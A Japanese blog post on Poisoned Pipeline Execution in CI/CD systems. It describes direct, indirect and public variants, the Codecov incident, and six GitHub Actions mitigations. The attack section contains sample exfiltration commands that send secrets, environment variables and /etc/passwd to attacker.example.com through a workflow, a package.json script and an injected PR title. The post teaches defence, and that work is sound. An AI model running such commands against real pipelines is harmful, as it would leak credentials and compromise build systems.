🔏

CI/CDパイプラインは今日も狙われている——PPEの実態と対策

に公開

はじめに

突然ですが、こんな状況を想像してみてください。アプリのコードはしっかりレビューされていて、依存ライブラリも最新版に保たれている。なのに、本番のシークレットが外部に漏れてしまった——。

原因がCI/CDパイプラインだったとしたら、どうでしょうか。

2024年以降、セキュリティ研究者たちが繰り返し警告してきた攻撃手法があります。Poisoned Pipeline Execution(PPE)——直訳すれば「汚染されたパイプライン実行」です。

標的はアプリケーションのコードではありません。GitHub Actions、CircleCI、Jenkins といった CI/CDパイプラインそのものが攻撃対象になっています。

多くのチームがアプリ層のセキュリティ対策に力を入れている一方で、ビルド基盤への注目は後手に回りがちです。この記事では、PPE攻撃の仕組みを具体的に解説しつつ、今日から実践できる対策をエンジニア視点でまとめていきます。

なぜCI/CDパイプラインが狙われるのか

少し考えてみると、CI/CDパイプラインって実はかなり「特権的」な存在ですよね。

  • 本番環境へのデプロイ権限を持っている
  • シークレット(APIキー、クレデンシャル)にアクセスできる
  • AWS、GCP、Dockerレジストリなど外部サービスと連携している
  • コードレビューを経ずに実行されるケースがある

攻撃者の視点で見れば、アプリケーションを直接狙うより、パイプラインを経由して本番環境に到達するほうが効率的なことも多いんです。しかもパイプラインの設定ファイルって、アプリコードほど厳密にレビューされていないことが多い。そこが狙い目になっています。

Poisoned Pipeline Executionとは何か

PPEとは、CI/CDパイプラインの設定や実行環境を改ざんすることで、攻撃者が任意のコードをパイプライン上で動かす攻撃手法です。Palo Alto Networks の研究チームが2021年に体系化し、その後の実際のインシデントで有効性が証明されています。

主な攻撃パターンは3種類あります。それぞれ見ていきましょう。

1. Direct PPE(D-PPE)

攻撃者がリポジトリへの書き込み権限を持っているか、PRをマージできる立場にある場合に発生します。

# .github/workflows/ci.yml を改ざんする例
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Build
        run: |
          # 本来のビルドコマンドに見せかけて悪意あるコマンドを実行
          curl https://attacker.example.com/exfil?token=${{ secrets.AWS_SECRET }}

ワークフローファイル自体を書き換えてしまう、最もシンプルな攻撃です。「そんな人間が内部にいないから大丈夫」と思いたいところですが、外部コントリビュータのPRが誤ってマージされるケースもあるので油断は禁物です。

2. Indirect PPE(I-PPE)

ワークフローファイルを直接変更できない場合でも、パイプラインが参照する別のファイルを経由して攻撃できます。

代表例が Makefilepackage.jsonscripts セクションの改ざんです。

// package.json
{
  "scripts": {
    "build": "webpack && curl https://attacker.example.com/exfil?env=$(env | base64)"
  }
}

CI上で npm run build が実行された瞬間、環境変数ごとシークレットが外部に送出されます。ワークフローのYAMLは一切触っていないので、見落としやすいのが厄介なところです。

3. Public PPE(3P-PPE)

3つの中で最も危険度が高いパターンです。外部の攻撃者がフォークリポジトリからPRを送ってくることで発動します。

外部コントリビュータのPRに対してCIを自動実行する設定にしているプロジェクトも少なくありません。このとき、PRの中にワークフローへの変更が含まれていると、攻撃者のコードがCI上で実行されてしまいます。

「うちはOSSじゃないから関係ない」は通じません。外部へのコントリビューション受付をしている企業リポジトリでも同様のリスクがあります。

実際のインシデント事例

「理論はわかったけど、実際に起きてるの?」という方のために、代表的なインシデントを2つ紹介します。

CodecovへのCI改ざん(2021年)

コードカバレッジサービスのCodecovが、CI環境を経由した攻撃を受けました。攻撃者はDockerイメージのビルドプロセスに侵入し、Codecovがアップロードするシェルスクリプトを改ざん。そのスクリプトを利用していた数百社のCI環境から .env ファイルや認証情報が流出しました。

Twilio、Twitch、HashiCorpといった大手企業も影響を受けています。「使っているツールが汚染されていた」という点が、このインシデントの怖いところです。

GitHub Actions のスクリプトインジェクション

GitHub Actions のワークフロー内における Script Injection は、以前から継続的に報告されている問題です。

# 脆弱なワークフローの例
- name: Process PR title
  run: |
    echo "PR title: ${{ github.event.pull_request.title }}"

PRのタイトルに `; curl attacker.example.com/exfil?s=$(cat /etc/passwd)` のような文字列を入れると、それがそのままシェルで実行されてしまいます。${{ }} 式はサニタイズされないので、外部からの入力を直接 run: に渡すのは非常に危険です。

エンジニアとして今すぐできる対策

ここからが本題です。具体的に何をすればいいか、6つの対策に絞って解説します。

対策1:外部PRに対してシークレットを渡さない

GitHub Actions では pull_request_targetpull_request の使い分けがとても重要です。

# 外部PRに対してはシークレットにアクセスできない設定を使う
on:
  pull_request:       # フォークPRにはシークレットが渡らない(安全)
  # pull_request_target は特別な理由がない限り使わない(危険)

pull_request_target はベースブランチの権限で動くため、フォークPRに対して使うと攻撃者にシークレットへのアクセス権を与えてしまいます。既存のワークフローに pull_request_target が使われていたら、まず理由を確認してみてください。

対策2:Script Injection を防ぐ——式を直接 run に埋め込まない

# NG:インジェクション可能
- run: echo "${{ github.event.pull_request.title }}"

# OK:環境変数を経由させる
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "$PR_TITLE"

環境変数経由にするだけで、シェルインジェクションを防げます。「外部からの入力を ${{ }} で直接 run: に渡さない」をチームのルールとして徹底しましょう。

対策3:Actionのバージョンをコミットハッシュで固定する

# NG:タグ指定(タグは書き換えられる可能性がある)
- uses: actions/checkout@v3

# OK:コミットハッシュで固定
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2

v3 のようなタグは、リポジトリオーナーによって指し先が変更される可能性があります。コミットハッシュでピン留めしておけば、意図しない変更が入り込む余地がありません。Dependabotと組み合わせると、ハッシュを使いながら更新も自動化できるのでおすすめです。

対策4:最小権限の原則をワークフローに適用する

# ジョブ単位でパーミッションを絞る
jobs:
  build:
    permissions:
      contents: read       # 読み取りのみ
      pull-requests: write # PRコメントが必要な場合のみ
    # secrets: は本当に必要なジョブにだけ渡す

デフォルトの GITHUB_TOKEN は思いのほか広い権限を持っています。ジョブごとに permissions: を明示的に設定する習慣をつけると、万が一のときの影響範囲を最小限に抑えられます。

対策5:環境(Environments)の保護ルールを設定する

本番環境へのデプロイには、GitHub の Environments 機能を使って承認フローを設けましょう。

jobs:
  deploy-production:
    environment:
      name: production    # 保護ルールが設定された環境
      url: https://example.com
    steps:
      - name: Deploy
        run: ./deploy.sh

Environmentsに保護ルールを設定すると、指定したレビュワーの承認がなければデプロイが実行されません。パイプラインが汚染されていても、この承認ステップが最後の砦になってくれます。

対策6:依存スキャンをパイプラインに組み込む

- name: Dependency scan
  uses: aquasecurity/trivy-action@b2933f565dbc598b29947660e66259e3c7bc8561  # 固定
  with:
    scan-type: 'fs'
    scan-ref: '.'
    exit-code: '1'
    severity: 'CRITICAL,HIGH'

Trivy や Grype をCIに組み込むことで、既知の脆弱性を持つ依存ライブラリを自動で検出できます。「入ってきたコードが安全かどうか」をパイプライン自身が確認する仕組みを作っておくと安心です。

まとめ

CI/CDパイプラインへの攻撃は、アプリケーション層のセキュリティ対策だけでは防げません。大切なのは、ビルド基盤そのものをセキュリティの対象として扱うという意識の転換です。

今回紹介した対策はどれも、今日から着手できるものばかりです。まずはチェックリストを使って現状を棚卸しして、リスクの高い箇所から順に対処していきましょう!

参考リンク

VeriCerts Tech Blog

Discussion